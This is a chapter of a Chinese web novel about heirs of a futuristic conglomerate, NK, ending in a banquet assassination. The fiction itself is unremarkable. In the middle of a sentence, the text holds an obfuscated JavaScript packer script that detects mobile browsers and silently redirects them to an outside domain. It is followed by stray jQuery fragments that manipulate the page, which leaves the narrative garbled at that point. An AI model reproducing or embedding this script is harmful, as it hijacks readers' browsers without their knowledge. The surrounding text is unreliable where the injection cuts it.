NK总部位于H市中心。


    外围密密麻麻看不到尽头的筒子楼如朝圣者般向往中心穷奢极欲、天上人间的宏宇高楼。


    低贱者匍匐，高贵者昂首。


    金属碰撞的声音层层递减，斑斓的灯光在城乡结合处避让。


    裴应拾仰头喝光酒杯里剩余不多的液体，被人请上豪车。


    呼啸的风在相对低平的建筑物里体感是更明显的，裴应拾睨了眼黑衣人拿着的照片，讥笑了下，坐到后座上。


    黑衣人见他称得上乖顺地坐在车上，右手在左手手臂上点了点，像总部报告任务进度。


    P：四小时后到达总部。


    B：收到。


    情感对“长生种”来说是一种病毒，这种情况也被叫做“情感爆炸”。


    林蘅玉并不会觉得身体的某个部位疼的很厉害，这种防御机制爆发后只会让“长生种”身体的每个部位出现类似于老年人的均等衰竭。


    外表上看着还是二十多岁的年轻人，但他的身体机能已经接近一百八十岁。在平均寿命为两百的年纪，这个岁数也不算小。


    水献岄扶了把林蘅玉，林蘅玉动了下手臂，告诉他还能撑会。


    现在是晚上八点，晚宴开始。


    NK现任掌权人端着酒杯在二十米高的室内阳台上致敬人类文明、致敬科技发展，光滑透明的酒杯壁透出里面深红色液体。


    讲完话，他直直看向左下角的林蘅玉，笑着朝他举杯。


    林蘅玉也笑了下，深红的液体在暖黄灯光下透着暧昧气息。


    觥筹交错间他们谈论NK今年利润如何，从哪个洲赚了多少钱。NK掌权人结束讲话从双弧形水晶楼梯上走下来，站到林蘅玉身边。


    “好几年没见到你了，蘅玉。”


    林蘅玉笑笑：“裴爷爷，六年了吧。还是让裴爷爷活着见到我了。”


    裴南渡没有冷脸，保养得很好的脸上出现批判和不认可，这种情绪里还混合着包容，对年轻人走偏了的包容。


    “蘅玉，你忘记林志是怎么教你的了？”


    林志是林蘅玉名义上的父亲。


    “不敢认呐。”林蘅玉笑的很含蓄，这种别有意味的笑在六年前很少见。“毕竟他现在想要我的命。”


    林蘅玉某种意义上也算他的孩子。


    裴南渡这么想了下更包容了，他摇头叹息：“还是太年轻啊你们，应拾也是这样。”


    林讼锦在这时候走过来，他举着酒杯，阿谀道：“好久不见裴爷爷，您还是这么年轻。”


    “哦，是讼锦啊。”


    裴南渡转头抬了下眉，笑意淡了些。


    “裴爷爷还是看不上我。”林讼锦打趣了句，手往前送了下，挑眉把酒喝光。


    林讼锦和林蘅玉有几分相似，毕竟林蘅玉的基因是从林松锦身上来的。


    裴南渡面色古怪地端详他，抽风似的笑了下，声音意外冷淡：“你也一如既往不识趣。”


    说到这，裴南渡慈祥的对着林蘅玉说：“难怪林志要求着我手底下的人把蘅玉造出来。幸好有蘅玉啊，不然今天都见不着讼锦了。”


    林讼锦也看向林蘅玉，皮笑肉不笑：“是啊，幸好有弟弟。”


    “不过不管过程如何，今天我都在这里，不是吗？裴爷爷。”


    他在挑衅裴南渡。


    裴南渡不知道林讼锦今天又发哪门子风，不过显然已经习惯了。他无奈地朝林蘅玉眨了下眼：“失陪了蘅玉，你要好好玩。”


    裴南渡从水献岄身边走过，重重地拍了把水献岄的背，斜眼刺他。


    “水长官，好久不见。你可要好好照顾好自己。”


    林蘅玉悄悄问水献岄：“你干什么了？”


    水献岄啊了声，“就是把他们全息游戏数据拷走，然后把备份什么的全毁了。”


    “好吧。”林蘅玉了然。


    那幸好还有裴应拾，不然他俩的骨灰应该扬了有三年了。


    “你们关系很好？”林讼锦眼角眉梢都浮上讥诮，他冷笑：“弟弟，是他带坏你了？”


    林蘅玉不理神经病，继续和水献岄说悄悄话。


    林讼锦怒了，发疯道：“你还能活多久？你以为你和他一样是人吗？到时候你死了他有的是新欢！”


    林讼锦咆哮声炸耳，林蘅玉惊异地撇他一眼，拉着水献岄远离这个角落。


    林讼锦站在原地愤怒的表情维持了十多分钟，自己把自己气笑了。


    陆陆续续有人来找林蘅玉说话，问他在国外养病感觉怎么样，现在好全了吗？


    林蘅玉习惯林家对体面的维护，笑着回应或真或假的关心。


    水献岄就站在一旁，目光不善地打量每一个靠过来的人。


    “停车！”


    还有三十多分钟的路程，裴应拾突然又不想去了。


    黑衣人麻木地转动方向盘，这已经是裴应拾第十次找借口下车了。


    他拦了一路，停停走走，四个小时早过去了。


    B：大少爷又闹脾气了？


    P：马上，半个小时左右能到。


    “你听不懂人话吗？”裴应拾通过后视镜盯着黑衣人的动作，黑衣人装作聋子哑巴，对裴应拾的情绪视若无睹。


    裴应拾发了会脾气，没得到反馈就安静了。


    黑衣人松了口气，安安稳稳把车开到NK总部门口。


    裴应拾下车时横了他一眼，骂道：“你最好赶紧离开这里，不然有你好受！”


    黑衣人心里一紧，看裴应拾从大门进去后立马开车走了。


    NK内部纷华靡丽，纸醉金迷。


    裴应拾冷眼看着一切，抬手轻拍了下后颈，然后按压颈椎骨，左右转动脑袋。


    很快就有人注意到他。


    “裴少来了？”


    “嗯。”裴应拾从侍应生手上端了杯酒，抿了口觉得难喝。“老爷子还是喜欢这种东西。”


    他反手把酒泼在侍应生脸上，另一只手掏出张卡放在酒盘里。


    “告诉你们领队，今天可以走了。”


    侍应生怯怯望了他一眼，不敢去传话。


    幸好领队来的很及时，他已经习惯处理这种事，对这些有钱人各种侮辱手段屡见不鲜，甚至觉得裴应拾没什么攻击力。


    “裴少，我们这就走。”


    裴应拾在H市地位斐然，他们这些伺候人的最知道谁的话一定要听，谁的话可听可不听，谁的话不能听。


    裴应拾一路摊手回应左右打招呼的人，径直走到林蘅玉身边。


    “你真倒霉，刚醒就遇到这种事。”


    他歪头看向林蘅玉背后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991182|175710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一脸阴沉的水献岄：“还能过去吗？”


    水献岄撇撇嘴别过头：“带不了你。”


    裴应拾瞳孔缩小，下意识绷紧唇角，继而笑开：“那你们好好玩。”


    裴南渡听说裴应拾来了笑着过来找人。


    裴应拾不情不愿喊人：“爷爷。”


    裴南渡虎摸了把他的头，笑骂道：“你比我还忙，怎么还要老子亲自请你？听他们说你去外城了，你是不是又和那些人勾搭上了？”


    裴应拾尬笑两声，笃信开口：“怎么会呢爷爷，我只是不想应付这些人。”


    裴南渡狐疑地看着他，“最好是真的。”


    “哈哈。”裴应拾急于把林蘅玉他们送走，裴南渡说什么他都好好听着，习惯性应付。


    裴南渡眼睛在他和林蘅玉之间流连，片刻后拍着裴应拾的肩哈哈大笑：“你们年轻人有自己的话要说，我就不当扫趣的了。”


    林蘅玉笑着点了下头送走裴南渡。


    裴应拾想引他们出去，却被裴南渡安排的保镖拦住了。


    “算了。”林蘅玉手臂和裴应拾贴在一起，两人亲密的拉了下手。


    水献岄目光定住，眼底闪烁细碎的光。


    裴应拾很快就被裴南渡叫走，临走前叫林蘅玉他们去其他地方看看。


    林蘅玉没说话，垂直的睫毛在眼尾沟那堆砌，像工笔画刻意拉长的眼线。他微笑着看裴应拾离开，在他一步三回头时挥了挥手，催他快去。


    裴应拾被裴南渡带到二十米高的室内阳台，裴南渡准备再次宣布裴应拾成为NK第一顺位继承人。


    他到底年纪大了，手底下的人开始躁动。


    裴南渡比任何人都知道掌权人迟暮时继承者们鬣狗一样撕咬的动静，他需要一个让后辈争抢的位置。


    裴应拾很聪明，可惜出身不好。


    裴南渡望着挤满宴会厅的人头寡情地想。


    突如其来的暴动打乱宴会节奏，内场骚动浮躁。


    枪声从NK财团外部开始逐渐逼近内场。


    林蘅玉掏出裴应拾偷偷递给他的手枪，在保镖忙于维护秩序忽视他们时瞄准庞大的吊灯。


    “砰——”


    坠着昂贵水晶的吊灯落下来那一瞬估计砸死不少人。


    尖叫声踩踏声叫骂声近乎掀翻房顶。不过NK建设的宴会厅内部高度接近五十米，这些声音只会在碰到墙壁后折返回来，把室内弄得更加喧嚣。


    保镖在枪响的那一瞬就反应过来了，他们朝林蘅玉扑过去。


    枪声再次响起，枪□□发火花的瞬间他们看到林蘅玉平和的表情。


    这次死的人是裴南渡。


    裴应拾清楚林蘅玉的枪法，但还是补了几枪，确保裴南渡死透。


    保镖们在林蘅玉射出第二枪时已经打开瞳孔里的照明设置，并按照裴南渡的交代射杀林蘅玉。


    林讼锦身体的反应快过大脑，他对林蘅玉复杂的感情促使他替林蘅玉挡了几枪。


    怎么说呢。


    按曾经的观念，他才是林蘅玉的父亲。


    林蘅玉的基因来自他，可林蘅玉比他厉害。


    林讼锦很讨厌林蘅玉，但他也清楚没有林蘅玉他也不会是林家继承人，他没那个能力。


    他嫉妒林蘅玉，同时他对林蘅玉投射了父爱。